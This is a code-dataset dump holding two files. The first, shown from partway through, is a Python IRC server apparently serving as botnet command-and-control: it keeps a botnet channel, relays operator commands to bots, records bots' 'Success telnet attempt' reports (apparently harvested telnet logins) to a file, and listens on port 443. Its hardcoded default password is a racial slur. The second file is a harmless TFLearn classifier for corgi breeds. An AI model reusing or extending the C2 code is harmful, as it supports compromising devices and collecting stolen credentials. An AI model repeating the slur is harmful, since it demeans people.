channel.key\n\t\t\t\t\telse:\n\t\t\t\t\t\tmodes = \"+\"\n\t\t\t\t\tself.reply(\"324 %s %s %s\"\n\t\t\t\t\t\t\t % (self.nickname, targetname, modes))\n\t\t\t\t\treturn\n\t\t\t\tflag = arguments[1]\n\t\t\t\tif flag == \"+k\":\n\t\t\t\t\tif len(arguments) < 3:\n\t\t\t\t\t\tself.reply_461(\"MODE\")\n\t\t\t\t\t\treturn\n\t\t\t\t\tkey = arguments[2]\n\t\t\t\t\tif irc_lower(channel.name) in self.channels:\n\t\t\t\t\t\tchannel.key = key\n\t\t\t\t\t\tself.message_channel(\n\t\t\t\t\t\t\tchannel, \"MODE\", \"%s +k %s\" % (channel.name, key),\n\t\t\t\t\t\t\tTrue)\n\t\t\t\t\t\tself.channel_log(\n\t\t\t\t\t\t\tchannel, \"set channel key to %s\" % key, meta=True)\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.reply(\"442 %s :You're not on that channel\"\n\t\t\t\t\t\t\t\t % targetname)\n\t\t\t\telif flag == \"-k\":\n\t\t\t\t\tif irc_lower(channel.name) in self.channels:\n\t\t\t\t\t\tchannel.key = None\n\t\t\t\t\t\tself.message_channel(\n\t\t\t\t\t\t\tchannel, \"MODE\", \"%s -k\" % channel.name,\n\t\t\t\t\t\t\tTrue)\n\t\t\t\t\t\tself.channel_log(\n\t\t\t\t\t\t\tchannel, \"removed channel key\", meta=True)\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.reply(\"442 %s :You're not on that channel\"\n\t\t\t\t\t\t\t\t % targetname)\n\t\t\t\telse:\n\t\t\t\t\tself.reply(\"472 %s %s :Unknown MODE flag\"\n\t\t\t\t\t\t\t % (self.nickname, flag))\n\t\t\telif targetname == self.nickname:\n\t\t\t\tif len(arguments) == 1:\n\t\t\t\t\tself.reply(\"221 %s +\" % self.nickname)\n\t\t\t\telse:\n\t\t\t\t\tself.reply(\"501 %s :Unknown MODE flag\" % self.nickname)\n\t\t\telse:\n\t\t\t\tself.reply_403(targetname)\n\n\t\tdef motd_handler():\n\t\t\tself.send_motd()\n\n\t\tdef nick_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply(\"431 :No nickname given\")\n\t\t\t\treturn\n\t\t\tnewnick = arguments[0]\n\t\t\tclient = server.get_client(newnick)\n\t\t\tif newnick == self.nickname:\n\t\t\t\tpass\n\t\t\telif client and client is not self:\n\t\t\t\tself.reply(\"433 %s %s :Nickname is already in use\"\n\t\t\t\t\t\t % (self.nickname, newnick))\n\t\t\telif not self.__valid_nickname_regexp.match(newnick):\n\t\t\t\tself.reply(\"432 %s %s :Erroneous Nickname\"\n\t\t\t\t\t\t % (self.nickname, newnick))\n\t\t\telse:\n\t\t\t\tfor x in self.channels.values():\n\t\t\t\t\tself.channel_log(\n\t\t\t\t\t\tx, \"changed nickname to %s\" % newnick, meta=True)\n\t\t\t\toldnickname = self.nickname\n\t\t\t\tself.nickname = newnick\n\t\t\t\tserver.client_changed_nickname(self, oldnickname)\n\t\t\t\tself.message_related(\n\t\t\t\t\t\":%s!%s@%s NICK %s\"\n\t\t\t\t\t% (oldnickname, self.user, self.host, self.nickname),\n\t\t\t\t\tTrue)\n\n\t\tdef notice_and_privmsg_handler():\n\t\t\tif len(arguments) == 0:\n\t\t\t\tself.reply(\"411 %s :No recipient given (%s)\"\n\t\t\t\t\t\t % (self.nickname, command))\n\t\t\t\treturn\n\t\t\tif len(arguments) == 1:\n\t\t\t\tself.reply(\"412 %s :No text to send\" % self.nickname)\n\t\t\t\treturn\n\t\t\ttargetname = arguments[0]\n\t\t\tmessage = arguments[1]\n\t\t\tclient = server.get_client(targetname)\n\t\t\tif message.startswith(\"~\") and targetname == self.server.botnet_channel:\n\t\t\t\tif server.has_channel(targetname):\n\t\t\t\t\tchannel = server.get_channel(targetname)\n\t\t\t\t\tserver.handle_bot_commands(targetname, message, channel)\n\t\t\t\treturn\n\t\t\tif client:\n\t\t\t\tclient.message(\":%s %s %s :%s\"\n\t\t\t\t\t\t\t % (self.prefix, command, targetname, message))\n\t\t\telif server.has_channel(targetname):\n\t\t\t\tchannel = server.get_channel(targetname)\n\t\t\t\tself.message_channel(\n\t\t\t\t\tchannel, command, \"%s :%s\" % (channel.name, message))\n\t\t\t\tself.channel_log(channel, message)\n\t\t\telse:\n\t\t\t\tself.reply(\"401 %s %s :No such nick/channel\"\n\t\t\t\t\t\t % (self.nickname, targetname))\n\n\t\tdef part_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(\"PART\")\n\t\t\t\treturn\n\t\t\tif len(arguments) > 1:\n\t\t\t\tpartmsg = arguments[1]\n\t\t\telse:\n\t\t\t\tpartmsg = self.nickname\n\t\t\tif self.bot:\n\t\t\t\treturn\n\t\t\tfor channelname in arguments[0].split(\",\"):\n\t\t\t\tif not valid_channel_re.match(channelname):\n\t\t\t\t\tself.reply_403(channelname)\n\t\t\t\telif not irc_lower(channelname) in self.channels:\n\t\t\t\t\tself.reply(\"442 %s %s :You're not on that channel\"\n\t\t\t\t\t\t\t % (self.nickname, channelname))\n\t\t\t\telse:\n\t\t\t\t\tchannel = self.channels[irc_lower(channelname)]\n\t\t\t\t\tself.message_channel(\n\t\t\t\t\t\tchannel, \"PART\", \"%s :%s\" % (channelname, partmsg),\n\t\t\t\t\t\tTrue)\n\t\t\t\t\tself.channel_log(channel, \"left (%s)\" % partmsg, meta=True)\n\t\t\t\t\tdel self.channels[irc_lower(channelname)]\n\t\t\t\t\tserver.remove_member_from_channel(self, channelname)\n\n\t\tdef ping_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply(\"409 %s :No origin specified\" % self.nickname)\n\t\t\t\treturn\n\t\t\tself.reply(\"PONG %s :%s\" % (server.name, arguments[0]))\n\n\t\tdef pong_handler():\n\t\t\tpass\n\n\t\tdef quit_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tquitmsg = self.nickname\n\t\t\telse:\n\t\t\t\tquitmsg = arguments[0]\n\t\t\tself.disconnect(quitmsg)\n\n\t\tdef topic_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(\"TOPIC\")\n\t\t\t\treturn\n\t\t\tchannelname = arguments[0]\n\t\t\tchannel = self.channels.get(irc_lower(channelname))\n\t\t\tif channel and not self.bot:\n\t\t\t\tif len(arguments) > 1:\n\t\t\t\t\tnewtopic = arguments[1]\n\t\t\t\t\tchannel.topic = newtopic\n\t\t\t\t\tself.message_channel(\n\t\t\t\t\t\tchannel, \"TOPIC\", \"%s :%s\" % (channelname, newtopic),\n\t\t\t\t\t\tTrue)\n\t\t\t\t\tself.channel_log(\n\t\t\t\t\t\tchannel, \"set topic to %r\" % newtopic, meta=True)\n\t\t\t\telse:\n\t\t\t\t\tif channel.topic:\n\t\t\t\t\t\tself.reply(\"332 %s %s :%s\"\n\t\t\t\t\t\t\t\t % (self.nickname, channel.name,\n\t\t\t\t\t\t\t\t\t channel.topic))\n\t\t\t\t\telse:\n\t\t\t\t\t\tself.reply(\"331 %s %s :No topic is set\"\n\t\t\t\t\t\t\t\t % (self.nickname, channel.name))\n\t\t\telse:\n\t\t\t\tself.reply(\"442 %s :You're not on that channel\" % channelname)\n\n\t\tdef wallops_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\tself.reply_461(command)\n\t\t\tif self.bot:\n\t\t\t\treturn\n\t\t\tmessage = arguments[0]\n\t\t\tfor client in server.clients.values():\n\t\t\t\tclient.message(\":%s NOTICE %s :Global notice: %s\"\n\t\t\t\t\t\t\t % (self.prefix, client.nickname, message))\n\n\t\tdef who_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\treturn\n\t\t\ttargetname = self.server.botnet_channel\n\t\t\tif server.has_channel(targetname):\n\t\t\t\tchannel = server.get_channel(targetname)\n\t\t\t\tfor member in channel.members:\n\t\t\t\t\tif (self.bot and member.nickname == self.nickname) or (not self.bot and not member.bot):\n\t\t\t\t\t\t self.reply(\"352 %s %s %s %s %s %s H :0 %s\" % (self.nickname, targetname, member.user, member.host, server.name, member.nickname,\n\t\t\t\t\t\t\t member.realname))\n\t\t\t\tself.reply(\"315 %s %s :End of WHO list\"\n\t\t\t\t\t\t % (self.nickname, targetname))\n\n\t\tdef whois_handler():\n\t\t\tif len(arguments) < 1:\n\t\t\t\treturn\n\t\t\tusername = arguments[0]\n\t\t\tuser = server.get_client(username)\n\t\t\tif user and not self.bot:\n\t\t\t\tself.reply(\"311 %s %s %s %s * :%s\"\n\t\t\t\t\t\t % (self.nickname, user.nickname, user.user,\n\t\t\t\t\t\t\t user.host, user.realname))\n\t\t\t\tself.reply(\"312 %s %s %s :%s\"\n\t\t\t\t\t\t % (self.nickname, user.nickname, server.name,\n\t\t\t\t\t\t\t server.name))\n\t\t\t\tself.reply(\"319 %s %s :%s\"\n\t\t\t\t\t\t % (self.nickname, user.nickname,\n\t\t\t\t\t\t\t \" \".join(user.channels)))\n\t\t\t\tself.reply(\"318 %s %s :End of WHOIS list\"\n\t\t\t\t\t\t % (self.nickname, user.nickname))\n\t\t\telse:\n\t\t\t\tself.reply(\"401 %s %s :No such nick\"\n\t\t\t\t\t\t % (self.nickname, username))\n\n\t\thandler_table = {\n\t\t\t\"AWAY\": away_handler,\n\t\t\t\"ISON\": ison_handler,\n\t\t\t\"JOIN\": join_handler,\n\t\t\t\"LIST\": list_handler,\n\t\t\t\"LUSERS\": lusers_handler,\n\t\t\t\"MODE\": mode_handler,\n\t\t\t\"MOTD\": motd_handler,\n\t\t\t\"NICK\": nick_handler,\n\t\t\t\"NOTICE\": notice_and_privmsg_handler,\n\t\t\t\"PART\": part_handler,\n\t\t\t\"PING\": ping_handler,\n\t\t\t\"PONG\": pong_handler,\n\t\t\t\"PRIVMSG\": notice_and_privmsg_handler,\n\t\t\t\"QUIT\": quit_handler,\n\t\t\t\"TOPIC\": topic_handler,\n\t\t\t\"WALLOPS\": wallops_handler,\n\t\t\t\"WHO\": who_handler,\n\t\t\t\"WHOIS\": whois_handler,\n\t\t}\n\t\tbot_handler_table = {\n\t\t\t\"PING\": ping_handler,\n\t\t\t\"PONG\": pong_handler,\n\t\t\t\"PRIVMSG\": notice_and_privmsg_handler,\n\t\t\t\"TOPIC\": topic_handler,\n\t\t\t\"JOIN\": join_handler,\n\t\t\t\"WHO\": who_handler,\n\t\t}\n\n\t\tserver = self.server\n\t\tvalid_channel_re = self.__valid_channelname_regexp\n\t\ttry:\n\t\t\tif self.bot:\n\t\t\t\tbot_handler_table[command]()\n\t\t\telse:\n\t\t\t\thandler_table[command]()\n\t\texcept KeyError:\n\t\t\tself.reply(\"421 %s %s :Unknown command\" % (self.nickname, command))\n\n\tdef socket_readable_notification(self):\n\t\ttry:\n\t\t\tdata = self.socket.recv(2 ** 10)\n\t\t\tself.server.print_debug(\n\t\t\t\t\"[%s:%d] -> %r\" % (self.host, self.port, data))\n\t\t\tquitmsg = \"EOT\"\n\t\texcept socket.error as x:\n\t\t\tdata = \"\"\n\t\t\tquitmsg = x\n\t\tif data:\n\t\t\tself.__readbuffer += data\n\t\t\tself.__parse_read_buffer()\n\t\t\tself.__timestamp = time.time()\n\t\t\tself.__sent_ping = False\n\t\telse:\n\t\t\tself.disconnect(quitmsg)\n\n\tdef socket_writable_notification(self):\n\t\ttry:\n\t\t\tsent = self.socket.send(self.__writebuffer)\n\t\t\tself.server.print_debug(\n\t\t\t\t\"[%s:%d] <- %r\" % (\n\t\t\t\t\tself.host, self.port, self.__writebuffer[:sent]))\n\t\t\tself.__writebuffer = self.__writebuffer[sent:]\n\t\texcept socket.error as x:\n\t\t\tself.disconnect(x)\n\n\tdef disconnect(self, quitmsg):\n\t\tself.message(\"ERROR :%s\" % quitmsg)\n\t\tself.server.print_info(\n\t\t\t\"Disconnected connection from %s:%s (%s).\" % (\n\t\t\t\tself.host, self.port, quitmsg))\n\t\tself.socket.close()\n\t\tself.server.remove_client(self, quitmsg)\n\n\tdef message(self, msg):\n\t\tself.__writebuffer += msg + \"\\r\\n\"\n\n\tdef reply(self, msg):\n\t\tself.message(\":%s %s\" % (self.server.name, msg))\n\n\tdef reply_403(self, channel):\n\t\tself.reply(\"403 %s %s :No such channel\" % (self.nickname, channel))\n\n\tdef reply_461(self, command):\n\t\tnickname = self.nickname or \"*\"\n\t\tself.reply(\"461 %s %s :Not enough parameters\" % (nickname, command))\n\n\tdef message_channel(self, channel, command, message, include_self=False, only_users=False, diff_prefix=\"\"):\n\t\tprefix = self.prefix\n\t\tif diff_prefix != \"\":\n\t\t\tprefix = diff_prefix\n\t\tline = \":%s %s %s\" % (prefix, command, message)\n\t\tif command == \"PRIVMSG\" and self.bot and \"Success telnet attempt\" in message:\n\t\t\ttelnets = open(\"telnets\", \"a\")\n\t\t\ttelnets.write(message.strip()+\"\\n\")\n\t\t\ttelnets.close()\n\t\tif \"Killing\" in message:\n\t\t\treturn\n\t\tfor client in channel.members:\n\t\t\tif client != self or include_self:\n\t\t\t\tif command == \"PRIVMSG\" and not self.bot and not client.bot and not \":!\" in message:\n\t\t\t\t\tclient.message(line)\n\t\t\t\t\tcontinue\n\t\t\t\tif only_users:\n\t\t\t\t\tif not self.bot and not client.bot:\n\t\t\t\t\t\tclient.message(line)\n\t\t\t\t\tcontinue\n\t\t\t\tif command == \"TOPIC\" or (not self.bot and client.bot and command == \"PRIVMSG\" and \":!\" in message) or (not self.server.mute and self.bot and not client.bot and command == \"PRIVMSG\"):\n\t\t\t\t\tclient.message(line)\n\n\tdef channel_log(self, channel, message, meta=False):\n\t\tif not self.server.logdir:\n\t\t\treturn\n\t\tif meta:\n\t\t\tformat = \"[%s] * %s %s\\n\"\n\t\telse:\n\t\t\tformat = \"[%s] <%s> %s\\n\"\n\t\ttimestamp = datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%S UTC\")\n\t\tlogname = channel.name.replace(\"_\", \"__\").replace(\"/\", \"_\")\n\n\tdef message_related(self, msg, include_self=False):\n\t\tclients = set()\n\t\tif include_self:\n\t\t\tclients.add(self)\n\t\tfor channel in self.channels.values():\n\t\t\tclients |= channel.members\n\t\tif not include_self:\n\t\t\tclients.discard(self)\n\t\tfor client in clients:\n\t\t\tif not client.bot and not self.bot:\n\t\t\t\tclient.message(msg)\n\n\tdef send_lusers(self):\n\t\tbotcount = 0\n\t\tusercount = 0\n\t\tfor client in self.server.clients:\n\t\t\tclient2 = self.server.clients[client]\n\t\t\tif client2.bot:\n\t\t\t botcount += 1\n\t\t\telse:\n\t\t\t usercount += 1\n\t\tself.reply(\"251 %s :There are %d users and %d bots online\"\n\t\t\t\t % (self.nickname, usercount, botcount))\n\n\tdef send_motd(self):\n\t\tserver = self.server\n\t\tmotdlines = server.get_motd_lines()\n\t\tif motdlines:\n\t\t\tself.reply(\"375 %s :- %s Message of the day -\"\n\t\t\t\t\t % (self.nickname, server.name))\n\t\t\tfor line in motdlines:\n\t\t\t\tself.reply(\"372 %s :- %s\" % (self.nickname, line.rstrip()))\n\t\t\tself.reply(\"376 %s :End of /MOTD command\" % self.nickname)\n\t\telse:\n\t\t\tself.reply(\"422 %s :MOTD File is missing\" % self.nickname)\n\n\nclass IRCdServer(object):\n\tdef __init__(self, ports, password, channel, ssl_pem_file, motd, verbose, debug, logdir, statedir, listen=None):\n\t\tself.ports = ports\n\t\tself.password = password\n\t\tprint(\"pass \" + password)\n\t\tself.botnet_channel = channel\n\t\tself.ssl_pem_file = ssl_pem_file\n\t\tself.motdfile = motd\n\t\tself.verbose = verbose\n\t\tself.debug = debug\n\t\tself.logdir = logdir\n\t\tself.statedir = statedir\n\t\tself.running = False\n\n\t\t# Find certificate after daemonization if path is relative:\n\t\tif self.ssl_pem_file and os.path.exists(self.ssl_pem_file):\n\t\t\tself.ssl_pem_file = os.path.abspath(self.ssl_pem_file)\n\t\t# else: might exist in the chroot jail, so just continue\n\n\t\tif listen:\n\t\t\tself.address = socket.gethostbyname(listen)\n\t\telse:\n\t\t\tself.address = \"\"\n\t\tserver_name_limit = 63 # From the RFC.\n\t\tself.name = socket.getfqdn(self.address)[:server_name_limit]\n\n\t\tself.channels = {} # irc_lower(Channel name) --> Channel instance.\n\t\tself.clients = {} # Socket --> Client instance.\n\t\tself.nicknames = {} # irc_lower(Nickname) --> Client instance.\n\t\tif self.logdir:\n\t\t\tcreate_directory(self.logdir)\n\t\tif self.statedir:\n\t\t\tcreate_directory(self.statedir)\n\t\tself.mute = False\n\n\n\tdef handle_bot_commands(self, targetname, message, channel):\n\t\tdef bot_msg(channel, message):\n\t\t\tfor client in self.clients:\n\t\t\t\tif not client.bot:\n\t\t\t\t\tclient.message_channel(channel, \"PRIVMSG\", \"%s :%s\" % (channel.name, message), True, only_users=True, diff_prefix=\"%s!services@%s\" % (IRCD_NAME, self.name))\n\t\t\t\t\treturn\n\t\tmessage = message[1:]\n\n\t\tif len(message) > 0:\n\t\t\tmessage_split = message.split(\" \")\n\n\t\t\tif message_split[0].lower() == \"bots\":\n\t\t\t\tbotcount = 0\n\t\t\t\tusercount = 0\n\t\t\t\tfor client in self.clients:\n\t\t\t\t\tclient2 = self.clients[client]\n\t\t\t\t\tif client2.bot:\n\t\t\t\t\t botcount += 1\n\t\t\t\t\telse:\n\t\t\t\t\t usercount += 1\n\t\t\t\tbot_msg(channel, \"There are currently %d bots connected and %d users connected\" % (botcount, usercount))\n\t\t\telif message_split[0].lower() == \"thread\":\n\t\t\t\tdef thread_activity(channel):\n\t\t\t\t\twhile True:\n\t\t\t\t\t\tif self == None: return\n\t\t\t\t\t\tbotcount = 0\n\t\t\t\t\t\tusercount = 0\n\t\t\t\t\t\tfor client in self.clients:\n\t\t\t\t\t\t\tclient2 = self.clients[client]\n\t\t\t\t\t\t\tif client2.bot:\n\t\t\t\t\t\t\t\tbotcount += 1\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tusercount += 1\n\t\t\t\t\t\tbot_msg(channel, \"There are currently %d bots connected and %d users connected\" % (botcount, usercount))\n\t\t\t\t\t\ttime.sleep(5)\n\t\t\t\tthreading.Thread(target=thread_activity, args=[channel]).start()\n\t\t\telif message_split[0].lower() == \"mute\":\n\t\t\t\tself.mute = not self.mute\n\t\t\t\tbot_msg(channel, \"Bot mute is now \" + (\"off\" if not self.mute else \"on\"))\n\n\tdef daemonize(self):\n\t\ttry:\n\t\t\tpid = os.fork()\n\t\t\tif pid > 0:\n\t\t\t\tsys.exit(0)\n\t\texcept OSError:\n\t\t\tsys.exit(1)\n\t\tos.setsid()\n\t\ttry:\n\t\t\tpid = os.fork()\n\t\t\tif pid > 0:\n\t\t\t\tself.print_info(\"PID: %d\" % pid)\n\t\t\t\tsys.exit(0)\n\t\texcept OSError:\n\t\t\tsys.exit(1)\n\t\tos.chdir(\"/\")\n\t\tos.umask(0)\n\t\tdev_null = open(\"/dev/null\", \"r+\")\n\t\tos.dup2(dev_null.fileno(), sys.stdout.fileno())\n\t\tos.dup2(dev_null.fileno(), sys.stderr.fileno())\n\t\tos.dup2(dev_null.fileno(), sys.stdin.fileno())\n\n\tdef get_client(self, nickname):\n\t\treturn self.nicknames.get(irc_lower(nickname))\n\n\tdef has_channel(self, name):\n\t\treturn irc_lower(name) in self.channels\n\n\tdef get_channel(self, channelname):\n\t\tif irc_lower(channelname) in self.channels:\n\t\t\tchannel = self.channels[irc_lower(channelname)]\n\t\telse:\n\t\t\tchannel = IRCChannel(self, channelname)\n\t\t\tself.channels[irc_lower(channelname)] = channel\n\t\treturn channel\n\n\tdef get_motd_lines(self):\n\t\treturn [(\"%s-%s\"%(IRCD_NAME, IRCD_VERSION)) + \" is running\", \"AKA the best IRCd ever made :3\"]\n\n\tdef print_info(self, msg):\n\t\tif self.verbose:\n\t\t\tprint(msg)\n\t\t\tsys.stdout.flush()\n\n\tdef print_debug(self, msg):\n\t\tif self.debug:\n\t\t\tprint(msg)\n\t\t\tsys.stdout.flush()\n\n\tdef print_error(self, msg):\n\t\tsys.stderr.write(\"%s\\n\" % msg)\n\n\tdef client_changed_nickname(self, client, oldnickname):\n\t\tif oldnickname:\n\t\t\tdel self.nicknames[irc_lower(oldnickname)]\n\t\tself.nicknames[irc_lower(client.nickname)] = client\n\n\tdef remove_member_from_channel(self, client, channelname):\n\t\tif irc_lower(channelname) in self.channels:\n\t\t\tchannel = self.channels[irc_lower(channelname)]\n\t\t\tchannel.remove_client(client)\n\n\tdef remove_client(self, client, quitmsg):\n\t\tclient.message_related(\":%s QUIT :%s\" % (client.prefix, quitmsg))\n\t\tfor x in client.channels.values():\n\t\t# client.channel_log(x, \"quit (%s)\" % quitmsg, meta=True)\n\t\t\tx.remove_client(client)\n\t\tif client.nickname \\\n\t\t\t\tand irc_lower(client.nickname) in self.nicknames:\n\t\t\tdel self.nicknames[irc_lower(client.nickname)]\n\t\tdel self.clients[client.socket]\n\n\tdef remove_channel(self, channel):\n\t\tdel self.channels[irc_lower(channel.name)]\n\n\tdef start(self):\n\n\t\tself.running = True\n\t\tdef handle(conn, addr):\n\n\t\t\tif self.ssl_pem_file:\n\t\t\t\timport ssl\n\t\t\t\ttry:\n\t\t\t\t\tconn = ssl.wrap_socket(conn, server_side=True, certfile=self.ssl_pem_file, keyfile=self.ssl_pem_file)\n\t\t\t\texcept ssl.SSLError as e:\n\t\t\t\t\tself.print_error(\"SSL error for connection from %s:%s: %s\" % (addr[0], addr[1], e))\n\t\t\t\t\treturn\n\t\t\ttry:\n\t\t\t\tself.clients[conn] = IRCClient(self, conn)\n\t\t\t\tself.print_info(\"Accepted connection from %s:%s.\" % (addr[0], addr[1]))\n\n\t\t\t\twhile True:\n\t\t\t\t\t(iwtd, owtd, ewtd) = gevent.select.select([conn], [conn], [], 5)\n\n\t\t\t\t\tfor x in iwtd:\n\t\t\t\t\t\tif x in self.clients:\n\t\t\t\t\t\t\tself.clients[x].socket_readable_notification()\n\t\t\t\t\tfor x in owtd:\n\t\t\t\t\t\tif x in self.clients: # client may have been disconnected\n\t\t\t\t\t\t\tself.clients[x].socket_writable_notification()\n\n\t\t\texcept socket.error as e:\n\t\t\t\ttry:\n\t\t\t\t\tconn.close()\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\tservers = []\n\t\tfor port in self.ports:\n\t\t\tserver = StreamServer((self.address, port), handle)\n\t\t\tserver.start()\n\t\t\tservers += [server]\n\t\t\tself.print_info(\"Listening on port %d.\" % port)\n\t\tdef aliveness_loop():\n\n\t\t\tlast_aliveness_check = time.time()\n\n\t\t\twhile self.running:\n\t\t\t\tnow = time.time()\n\t\t\t\tif last_aliveness_check + 10 < now:\n\t\t\t\t\tfor client in self.clients.values():\n\t\t\t\t\t\tclient.check_aliveness()\n\t\t\t\t\tlast_aliveness_check = now\n\t\t\t\ttime.sleep(5)\n\t\treturn servers, gevent.spawn(aliveness_loop)\n\n_maketrans = str.maketrans if sys.version_info[0] == 3 else string.maketrans\n_ircstring_translation = _maketrans(\n\tstring.ascii_lowercase.upper() + \"[]\\\\^\",\n\tstring.ascii_lowercase + \"{}|~\")\n\n\ndef irc_lower(s):\n\treturn string.translate(s, _ircstring_translation)\n\ndef main(argv):\n\top = OptionParser(\n\t\tversion=IRCD_VERSION,\n\t\tdescription=\"%s is an IRC server running internally gevent patched.\" % IRCD_NAME)\n\top.add_option(\n\t\t\"--debug\",\n\t\taction=\"store_true\",\n\t\thelp=\"print debug messages to stdout\")\n\top.add_option(\n\t\t\"--listen\",\n\t\tmetavar=\"X\",\n\t\thelp=\"listen on specific IP address X\")\n\top.add_option(\n\t\t\"--logdir\",\n\t\tmetavar=\"X\",\n\t\thelp=\"store channel log in directory X\")\n\top.add_option(\n\t\t\"--motd\",\n\t\tmetavar=\"X\",\n\t\thelp=\"display file X as message of the day\")\n\top.add_option(\n\t\t\"-s\", \"--ssl-pem-file\",\n\t\tmetavar=\"FILE\",\n\t\thelp=\"enable SSL and use FILE as the .pem certificate+key\")\n\top.add_option(\n\t\t\"-p\", \"--password\",\n\t\tmetavar=\"X\",\n\t\thelp=\"require connection password X; default: no password\", default=\"niggers1\")\n\top.add_option(\n\t\t\"-c\", \"--channel\",\n\t\tmetavar=\"X\",\n\t\thelp=\"default botnet channel X; default: #test\", default=\"#test\")\n\top.add_option(\n\t\t\"--ports\",\n\t\tmetavar=\"X\",\n\t\thelp=\"listen to ports X (a list separated by comma or whitespace);\"\n\t\t\t \" default: 443\", default=\"443\")\n\top.add_option(\n\t\t\"--statedir\",\n\t\tmetavar=\"X\",\n\t\thelp=\"save persistent channel state (topic, key) in directory X\")\n\top.add_option(\n\t\t\"--verbose\",\n\t\taction=\"store_true\",\n\t\thelp=\"be verbose (print some progress messages to stdout)\")\n\n\t(options, args) = op.parse_args(argv[1:])\n\n\tprint(\"Welcome to %s, join %s to begin\" % (IRCD_NAME, options.channel))\n\tprint(\"Server password is %s and port is %d\" % (options.password, int(options.ports)))\n\tprint(\"\")\n\tif options.debug:\n\t\toptions.verbose = True\n\tports = []\n\tfor port in re.split(r\"[,\\s]+\", options.ports):\n\t\ttry:\n\t\t\tports.append(int(port))\n\t\texcept ValueError:\n\t\t\top.error(\"bad port: %r\" % port)\n\toptions.ports = ports\n\n\tserver = IRCdServer(options.ports, options.password, options.channel,\n\t\toptions.ssl_pem_file, options.motd, options.verbose,\n\t\toptions.debug, options.logdir, options.statedir, options.listen)\n\n\ttry:\n\t\tservers, g = server.start()\n\n\t\tif g != None:\n\t\t\twhile g:\n\t\t\t\ttime.sleep(5)\n\t\telse:\n\t\t\tserver.print_error(\"Error initializing server\")\n\texcept KeyboardInterrupt:\n\t\tserver.print_error(\"Interrupted.\")\n\nclass IRCServer(BaseServer):\n\n\tdef __init__(self, parent):\n\t\tBaseServer.__init__(self, parent)\n\n\tdef start(self, port, args):\n\t\tpassword = \"niggers1\"\n\t\tchannel = \"#test\"\n\t\tlisten = \"\"\n\t\targc = len(args)\n\n\t\tif argc >= 1:\n\t\t\tpassword = args[0]\n\t\tif argc >= 2:\n\t\t\tchannel = args[1]\n\t\tif argc >= 3:\n\t\t\tlisten = args[2]\n\n\t\tserver = IRCdServer([port], password, channel,\n\t\t\t\t\t\tNone, None, False,\n\t\t\t\t\t\tFalse, None, None, listen)\n\t\treturn server, server.start()\n\n\tdef usage(self):\n\t\treturn \" \"\n\n\tdef default_port(self):\n\t\treturn 443\n\n\tdef default_args(self):\n\t\treturn \"niggers1 #test 0.0.0.0\"\n\nif __name__ == '__main__':\n\tmain(sys.argv)\n\n","sub_path":"src/servers/irc.py","file_name":"irc.py","file_ext":"py","file_size_in_byte":29481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"236739270","text":"import dataset\nimport numpy as np\nimport os\nimport tflearn\nfrom tflearn.layers.conv import conv_2d, max_pool_2d\nfrom tflearn.layers.core import input_data, dropout, fully_connected\nfrom tflearn.layers.estimator import regression\n\nIMG_SIZE = 50 #resolution to which images are resized\nALPHA = .0001 #learning rate\n\ntrainDirectory = \"./training_data\"\ntestDirectory = \"./testing_data\"\n\n#define name for the model, change if # of convolutional layers is changed\nmodelName = \"corgiClass-{}--{}\".format(ALPHA, '4_conv_layers_final')\n\n#define training dataset, 20% are for validation\ndSet = dataset.read_train_sets(\"./data/training_data\", IMG_SIZE, ['pembroke', 'cardigan'], .2)\n\n#define test dataset, since its the test, 0 are for validation\ntestSet = dataset.read_train_sets(\"./data/training_data\", IMG_SIZE, ['pembroke', 'cardigan'], 0)\n\n# Building convolutional neural net\n\n#input layer\nconvnet = input_data(shape=[None, IMG_SIZE, IMG_SIZE, 3], name='input')\n\n#convolutional layers\nconvnet = conv_2d(convnet, 32, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 32, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\nconvnet = conv_2d(convnet, 64, 2, activation='relu')\nconvnet = max_pool_2d(convnet, 2)\n\n#\nconvnet = fully_connected(convnet, 1024, activation='relu')\nconvnet = dropout(convnet, 0.8)\n\n#output Layer\nconvnet = fully_connected(convnet, 2, activation='softmax')\nconvnet = regression(convnet, optimizer='adam', learning_rate=ALPHA, loss='categorical_crossentropy', name='targets')\n\nmodel = tflearn.DNN(convnet)\n\n#loads model if one exists\nif os.path.exists('{}.meta'.format(modelName)):\n model.load(modelName)\n print(\"previous model loaded\")\n\ntrain = dSet.train\nvalidate = dSet.valid\nX = np.array(([i for i in train.images()])).reshape(-1, IMG_SIZE, IMG_SIZE, 3)\nY = [i for i in train.labels()]\nvalidateX = np.array(([i for i in validate.images()])).reshape(-1, IMG_SIZE, IMG_SIZE, 3)\nvalidateY = [i for i in validate.labels()]\n\n#function to train the model, uncomment if you want it to train more\n#model.fit({'input': X}, {'targets': Y}, n_epoch = 20, validation_set = ({'input': validateX}, {'targets': validateY}), snapshot_step = 500, show_metric = True, run_id =modelName)\n\n\n#save model\nmodel.save(modelName)\n\n#count for correct prediction\ncorrectCount = 0\n\nfor i in range(testSet.train.num_examples()):\n prediction = model.predict(testSet.train.images()[i].reshape(-1, IMG_SIZE, IMG_SIZE, 3))\n print(\"prediction is: \", prediction, \"\\tactual val is : \", testSet.train.labels()[i])\n #prediction is the largest\n if np.argmax(prediction) == np.argmax(testSet.train.labels()[i]):\n correctCount += 1\nprint(\"testing accuracy = \", correctCount/testSet.train.num_examples())\n","sub_path":"classifier.py","file_name":"classifier.py","file_ext":"py","file_size_in_byte":2847,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"492290669","text":"\n# 